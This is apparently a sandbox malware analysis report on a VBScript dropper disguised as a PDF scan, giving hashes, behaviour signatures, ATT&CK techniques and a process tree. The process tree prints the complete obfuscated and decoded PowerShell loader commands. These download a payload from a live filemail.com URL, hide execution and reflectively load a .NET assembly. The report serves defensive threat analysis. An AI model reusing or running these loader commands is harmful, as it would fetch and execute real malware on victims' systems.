025945e88ff07b6cac99091ea9410351047fa352f29026d5751dc15b63ad1765

General

Target

Scan12112024,pdf.vbs
Size

11KB
MD5

3f17db10010a4ce43a4f0429179c9f55
SHA1

0a562aa4ba586163f1016b68e028a77bce000490
SHA256

025945e88ff07b6cac99091ea9410351047fa352f29026d5751dc15b63ad1765
SHA512

091d320806d48cf57e00ae906756a351405335d594783f3672746f741ca2f650b097c2a5b8970899d8519b6fd4c7331c9296a815c7c481b7257ef39ae92de004
SSDEEP

192:8ZRtanUEczOg4ya+7ZKQGd6csBGXSqKRq5O09NhN:y0nUcL6LK

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
3	3016	WScript.exe
4	3016	WScript.exe
8	2908	powershell.exe
9	2908	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2672	powershell.exe
2908	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2672	powershell.exe
2908	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	2908	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.exeWScript.exepowershell.exe

description	pid	Process	procid_target
PID 1980 wrote to memory of 3016	1980	WScript.exe	31
PID 1980 wrote to memory of 3016	1980	WScript.exe	31
PID 1980 wrote to memory of 3016	1980	WScript.exe	31
PID 3016 wrote to memory of 2672	3016	WScript.exe	32
PID 3016 wrote to memory of 2672	3016	WScript.exe	32
PID 3016 wrote to memory of 2672	3016	WScript.exe	32
PID 2672 wrote to memory of 2908	2672	powershell.exe	34
PID 2672 wrote to memory of 2908	2672	powershell.exe	34
PID 2672 wrote to memory of 2908	2672	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2672
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs

Filesize
1KB

MD5
3cc8a019daa8e623719ff9741de015a0

SHA1
16e2932236fb74f7009f7b817f070eda4363ba1a

SHA256
a79f475d99a3e9115369fa349cfea634600b82077007c29c3016588b10ff7091

SHA512
cb639e0bd891b32bab301bcf8537cbf5bbe06e22098c8c3cfeca13edc06053f63c47be551e1a7d651f842e65af27f2a907c9670d255e98db15576227d2250d61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6ed099a844cb4db7c1afd67569e8ed84

SHA1
ae70cdbdfa35dc6e659e3506524a273918f00dff

SHA256
1d804f8dbd4184c01647dcb05b0e464c925d3cbb5072b7d9c8ca4f3b97ebf15b

SHA512
1be987f1bcd601b84aef8be167ce92a1dfb42a0fadbeda604205e7ed47aa8d600bd13c78a8193d6bdfeda5836633fb5e3737c81b13ec6aa65320f5da4f43540c

Download Submit
memory/2672-8-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2672-9-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads